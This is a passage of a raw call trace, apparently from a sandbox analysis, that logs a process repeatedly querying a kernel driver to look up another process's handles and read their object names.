PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.921] PsAcquireProcessExitSynchronization () returned 0x0 [0112.921] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.921] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0112.921] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.921] PsReleaseProcessExitSynchronization () returned 0x2 [0112.921] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.921] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.921] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0112.921] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.921] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.921] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.921] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.921] PsAcquireProcessExitSynchronization () returned 0x0 [0112.921] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.921] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0112.921] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.921] PsReleaseProcessExitSynchronization () returned 0x2 [0112.921] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.921] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.922] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0112.922] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.922] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.922] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.922] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.922] PsAcquireProcessExitSynchronization () returned 0x0 [0112.922] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.922] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0112.922] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.922] PsReleaseProcessExitSynchronization () returned 0x2 [0112.922] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.922] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.922] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0112.922] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.922] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.922] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.922] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.922] PsAcquireProcessExitSynchronization () returned 0x0 [0112.922] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.922] ObReferenceObjectByHandle (in: Handle=0x8bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00286ec70, HandleInformation=0x0) returned 0x0 [0112.922] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.922] PsReleaseProcessExitSynchronization () returned 0x2 [0112.922] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.922] ObQueryNameString (in: Object=0xfffff8a00286ec70, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.922] ObfDereferenceObject (Object=0xfffff8a00286ec70) returned 0x1 [0112.922] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.922] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.922] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.922] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.922] PsAcquireProcessExitSynchronization () returned 0x0 [0112.923] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.923] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0112.923] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.923] PsReleaseProcessExitSynchronization () returned 0x2 [0112.923] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.923] ObQueryNameString (in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.923] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0112.923] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.923] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.923] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.923] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.923] PsAcquireProcessExitSynchronization () returned 0x0 [0112.923] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.923] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a003585880, HandleInformation=0x0) returned 0x0 [0112.923] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.923] PsReleaseProcessExitSynchronization () returned 0x2 [0112.923] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.923] ObQueryNameString (in: Object=0xfffff8a003585880, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.923] ObfDereferenceObject (Object=0xfffff8a003585880) returned 0x1 [0112.923] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.923] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.923] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.923] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.923] PsAcquireProcessExitSynchronization () returned 0x0 [0112.923] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.923] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0112.923] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.923] PsReleaseProcessExitSynchronization () returned 0x2 [0112.923] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.923] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.923] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0112.923] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.924] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.924] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.924] PsAcquireProcessExitSynchronization () returned 0x0 [0112.924] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.924] ObReferenceObjectByHandle (in: Handle=0x920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004389540, HandleInformation=0x0) returned 0x0 [0112.924] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.924] PsReleaseProcessExitSynchronization () returned 0x2 [0112.924] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.924] ObQueryNameString (in: Object=0xfffff8a004389540, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.924] ObfDereferenceObject (Object=0xfffff8a004389540) returned 0x1 [0112.924] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.924] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.924] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.924] PsAcquireProcessExitSynchronization () returned 0x0 [0112.924] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.924] ObReferenceObjectByHandle (in: Handle=0x92c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0043297a0, HandleInformation=0x0) returned 0x0 [0112.924] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.924] PsReleaseProcessExitSynchronization () returned 0x2 [0112.924] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.924] ObQueryNameString (in: Object=0xfffff8a0043297a0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.924] ObfDereferenceObject (Object=0xfffff8a0043297a0) returned 0x1 [0112.924] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.924] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.924] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.924] PsAcquireProcessExitSynchronization () returned 0x0 [0112.924] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.924] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0112.924] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.925] PsReleaseProcessExitSynchronization () returned 0x2 [0112.925] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.925] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.925] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0112.925] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.925] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.925] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.925] PsAcquireProcessExitSynchronization () returned 0x0 [0112.925] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.925] ObReferenceObjectByHandle (in: Handle=0x958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0033dee70, HandleInformation=0x0) returned 0x0 [0112.925] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.925] PsReleaseProcessExitSynchronization () returned 0x2 [0112.925] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.925] ObQueryNameString (in: Object=0xfffff8a0033dee70, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.925] ObfDereferenceObject (Object=0xfffff8a0033dee70) returned 0x1 [0112.925] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.925] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.925] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.925] PsAcquireProcessExitSynchronization () returned 0x0 [0112.925] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.925] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00398c880, HandleInformation=0x0) returned 0x0 [0112.925] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.925] PsReleaseProcessExitSynchronization () returned 0x2 [0112.925] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.925] ObQueryNameString (in: Object=0xfffff8a00398c880, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.925] ObfDereferenceObject (Object=0xfffff8a00398c880) returned 0x1 [0112.925] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.925] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.926] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.926] PsAcquireProcessExitSynchronization () returned 0x0 [0112.926] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.926] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0112.926] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.926] PsReleaseProcessExitSynchronization () returned 0x2 [0112.926] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.926] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.926] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0112.926] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.926] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.926] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.926] PsAcquireProcessExitSynchronization () returned 0x0 [0112.926] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.926] ObReferenceObjectByHandle (in: Handle=0x970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002271740, HandleInformation=0x0) returned 0x0 [0112.926] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.926] PsReleaseProcessExitSynchronization () returned 0x2 [0112.926] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.926] ObQueryNameString (in: Object=0xfffff8a002271740, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.926] ObfDereferenceObject (Object=0xfffff8a002271740) returned 0x1 [0112.926] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.926] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.926] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.926] PsAcquireProcessExitSynchronization () returned 0x0 [0112.926] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.926] ObReferenceObjectByHandle (in: Handle=0x97c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00399ca80, HandleInformation=0x0) returned 0x0 [0112.926] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.927] PsReleaseProcessExitSynchronization () returned 0x2 [0112.927] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.927] ObQueryNameString (in: Object=0xfffff8a00399ca80, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.927] ObfDereferenceObject (Object=0xfffff8a00399ca80) returned 0x1 [0112.927] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.927] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.927] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.927] PsAcquireProcessExitSynchronization () returned 0x0 [0112.927] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.927] ObReferenceObjectByHandle (in: Handle=0x994, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002a6f8c0, HandleInformation=0x0) returned 0x0 [0112.927] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.927] PsReleaseProcessExitSynchronization () returned 0x2 [0112.927] ObfDereferenceObject 